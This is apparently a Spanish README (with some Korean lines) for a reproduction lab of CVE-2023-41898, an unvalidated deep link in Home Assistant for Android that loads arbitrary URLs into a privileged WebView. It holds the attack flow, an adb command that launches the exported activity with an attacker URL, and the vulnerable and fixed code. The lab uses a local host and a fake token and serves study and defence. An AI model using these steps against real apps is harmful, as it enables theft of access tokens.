
Recorrido por CVE-2023-41898: explotación de un enlace profundo no validado en Home Assistant Android para cargar URLs arbitrarias en un WebView privilegiado y filtrar un token falso.
Laboratorio educativo de reproducción reducida creado a partir del informe de vulnerabilidad pública (GHSL-2023-142) de Home Assistant Companion for Android y de la estructura de código abierto de la versión vulnerable 2023.8.2.
No se utilizan servidores, cuentas ni tokens reales de Home Assistant. Solo se expone un token virtual fijo denominado LAB_TOKEN_CVE_2023_41898_NOT_REAL.
2023.9.2 (según el aviso oficial)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 검증 없이 JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 공격자 페이지에 externalApp JavaScript bridge 노출
▼
가상 LAB_TOKEN 표시
El intent-filter del manifiesto de Android solo define qué URI coincide con un Intent implícito; no valida automáticamente la URI de datos de un Intent que especifica explícitamente un componente.
victim/: app que reproduce el handler de deep links vulnerable y el WebView privilegiadoattacker/: app que envía un Intent explícito a la Activity exportada de la app víctimaweb/: páginas de ataque de las etapas 1 y 2 que se servirán localmentedist/: APK de depuración verificadosUPSTREAM.md: correspondencia entre el código fuente original y la implementación del LabRequisitos: JDK 17 o superior, Android SDK 36, caché de Gradle/Android Gradle Plugin o conexión a Internet.
./gradlew :victim:assembleDebug :attacker:assembleDebug
Ejecutar únicamente en un emulador autorizado o en un dispositivo de pruebas.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Desde la raíz del Lab, ejecuta el siguiente comando:
python3 -m http.server 8000 --directory web
En el emulador predeterminado de Android Studio, 10.0.2.2 apunta al loopback del PC anfitrión. Si usas un dispositivo de prueba físico, cambia web/exploit.html y la URL de la app atacante a la IP LAN del PC.
CVE-2023-41898 Victim y CVE-2023-41898 Attacker.homeassistant://navigate/.LAB_TOKEN_CVE_2023_41898_NOT_REAL.También puedes invocar el primer paso con ADB sin la app atacante.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
La implementación vulnerable carga la URI externa tal cual.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
En la corrección, se deben validar el esquema, el host, el puerto y la ruta de la URI analizada mediante una allowlist estricta. No se debe usar la comparación de cadenas con startsWith, ya que presenta riesgos de evasión mediante información de usuario ([email protected]), subdominios y codificación.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
Además, se deben eliminar el JavaScript innecesario y JavascriptInterface del WebView, y aplicar la misma validación de URL a toda navegación y redirección.
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2